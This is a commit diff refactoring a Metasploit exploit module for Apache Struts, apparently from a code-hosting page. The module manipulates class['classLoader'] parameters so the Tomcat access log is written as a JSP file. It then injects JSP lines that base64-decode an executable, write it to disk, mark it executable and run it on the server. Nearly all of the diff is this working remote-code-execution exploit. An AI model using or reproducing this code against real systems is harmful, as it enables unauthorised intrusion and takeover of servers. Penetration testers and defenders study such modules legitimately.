Do first refactor
This commit is contained in:
@@ -6,7 +6,7 @@
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
@@ -66,30 +66,45 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
|
||||
], self.class)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def jsp_dropper(file, exe)
|
||||
dropper = <<-eos
|
||||
<%@ page import=\"java.io.FileOutputStream\" %>
|
||||
<%@ page import=\"sun.misc.BASE64Decoder\" %>
|
||||
<%@ page import=\"java.io.File\" %>
|
||||
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
|
||||
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
|
||||
<% oFile.flush(); %>
|
||||
<% oFile.close(); %>
|
||||
<% File f = new File(\"#{file}\"); %>
|
||||
<% f.setExecutable(true); %>
|
||||
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
|
||||
eos
|
||||
|
||||
dropper
|
||||
end
|
||||
|
||||
def exec_cmd(uri, cmd = "")
|
||||
resp = send_request_cgi({
|
||||
res = send_request_cgi({
|
||||
'uri' => uri+cmd,
|
||||
'version' => '1.1',
|
||||
'method' => 'GET',
|
||||
})
|
||||
|
||||
return resp
|
||||
res
|
||||
end
|
||||
|
||||
def is_log_flushed?(resp, content)
|
||||
return resp.headers["Content-Length"] != "0" && resp.body =~ /#{content}/
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
def modify_class_loader
|
||||
prefix_jsp = rand_text_alphanumeric(3+rand(3))
|
||||
date_format = rand_text_numeric(1+rand(4))
|
||||
|
||||
vprint_status("#{peer} - Modifying class loader")
|
||||
print_status("#{peer} - Modifying class loader")
|
||||
|
||||
# Modifies classLoader parameters
|
||||
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT") # Directory where log file os going to be created
|
||||
@@ -97,13 +112,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp") # File extension
|
||||
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=#{date_format}") # second part of filename: "prefix+fileDateFormat.suffix"
|
||||
|
||||
jsp_file = prefix_jsp
|
||||
jsp_file << date_format
|
||||
jsp_file << ".jsp"
|
||||
@jsp_file = prefix_jsp
|
||||
@jsp_file << date_format
|
||||
@jsp_file << ".jsp"
|
||||
|
||||
# Wait till the log is created
|
||||
uri = "/"
|
||||
uri << jsp_file
|
||||
uri << @jsp_file
|
||||
|
||||
created = false
|
||||
|
||||
@@ -117,52 +132,59 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
res = exec_cmd(uri)
|
||||
|
||||
# Failure. The request timed out or the server went away.
|
||||
fail_with(Failure::TimeoutExpired, "Not received response") if res.nil?
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
|
||||
|
||||
# Success if the server has flushed all the sent commands to the jsp file
|
||||
if res.code == 200
|
||||
vprint_good("#{peer} - created file at http://#{peer}/#{jsp_file}")
|
||||
print_good("#{peer} - Log file created file at http://#{peer}/#{@jsp_file}")
|
||||
created = true
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
fail_with(Failure::TimeoutExpired, "No log file was created") unless created
|
||||
fail_with(Failure::TimeoutExpired, "#{peer} - No log file was created") unless created
|
||||
end
|
||||
|
||||
# Fix the JSP payload to make it valid once is dropped
|
||||
# to the log file
|
||||
def fix(jsp)
|
||||
output = ""
|
||||
jsp.each_line do |l|
|
||||
if l =~ /<%.*%>/
|
||||
output << l
|
||||
elsif l =~ /<%/
|
||||
next
|
||||
elsif l.chomp.empty?
|
||||
next
|
||||
else
|
||||
output << "<% #{l.chomp} %>"
|
||||
end
|
||||
end
|
||||
output
|
||||
end
|
||||
|
||||
def execute_jsp
|
||||
if target['Arch'] == ARCH_JAVA
|
||||
payload_exe = payload.encoded
|
||||
jsp = fix(payload.encoded)
|
||||
register_files_for_cleanup("#{@jsp_file}")
|
||||
else
|
||||
payload_exe = generate_payload_exe
|
||||
payload_file = rand_text_alphanumeric(4 + rand(4))
|
||||
jsp = jsp_dropper(payload_file, payload_exe)
|
||||
register_files_for_cleanup("#{payload_file}", "#{@jsp_file}")
|
||||
end
|
||||
|
||||
payload_file = rand_text_alphanumeric(4+rand(4))
|
||||
payload_file << ".jsp" if (target['Arch'] == ARCH_JAVA)
|
||||
register_files_for_cleanup("#{payload_file}", "#{jsp_file}")
|
||||
|
||||
# Inexistent URI that logs on previously created log file (with ".jsp" suffix)
|
||||
uri = String.new(datastore['TARGETURI'])
|
||||
uri << payload_file
|
||||
|
||||
vprint_status("#{peer} - Dumping payload into the logfile")
|
||||
hint = rand_text_alpha(4 + rand(4))
|
||||
|
||||
print_status("#{peer} - Dumping payload into the logfile")
|
||||
# Commands to be logged
|
||||
exec_cmd(uri, "<%@ page import=\"java.io.FileOutputStream\" %>")
|
||||
exec_cmd(uri, "<%@ page import=\"sun.misc.BASE64Decoder\" %>")
|
||||
exec_cmd(uri, "<%@ page import=\"java.io.File\" %>")
|
||||
|
||||
exec_cmd(uri, "<% FileOutputStream oFile = new FileOutputStream(\"#{payload_file}\", false); %>")
|
||||
exec_cmd(uri, "<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(payload_exe)}\")); %>")
|
||||
exec_cmd(uri, "<% oFile.flush(); %>")
|
||||
exec_cmd(uri, "<% oFile.close(); %>")
|
||||
|
||||
if target['Arch'] != ARCH_JAVA
|
||||
exec_cmd(uri, "<% File f = new File(\"#{payload_file}\"); %>")
|
||||
exec_cmd(uri, "<% f.setExecutable(true); %>")
|
||||
exec_cmd(uri, "<% Runtime.getRuntime().exec(\"./#{payload_file}\"); %>")
|
||||
jsp.each_line do |l|
|
||||
exec_cmd(hint, l.chomp)
|
||||
end
|
||||
|
||||
uri = "/"
|
||||
uri << jsp_file
|
||||
uri << @jsp_file
|
||||
|
||||
flushed = false
|
||||
|
||||
@@ -179,16 +201,19 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
fail_with(Failure::TimeoutExpired, "Not received response") if res.nil?
|
||||
|
||||
# Success if the server has flushed all the sent commands to the jsp file
|
||||
if res.code == 200 && is_log_flushed?(res, payload_file)
|
||||
if res.code == 200 && is_log_flushed?(res, hint)
|
||||
flushed = true
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
fail_with(Failure::TimeoutExpired, "Log not flushed on time") unless flushed
|
||||
end
|
||||
|
||||
exec_cmd("/#{payload_file}") if (target['Arch'] == ARCH_JAVA)
|
||||
|
||||
def exploit
|
||||
modify_class_loader
|
||||
execute_jsp
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user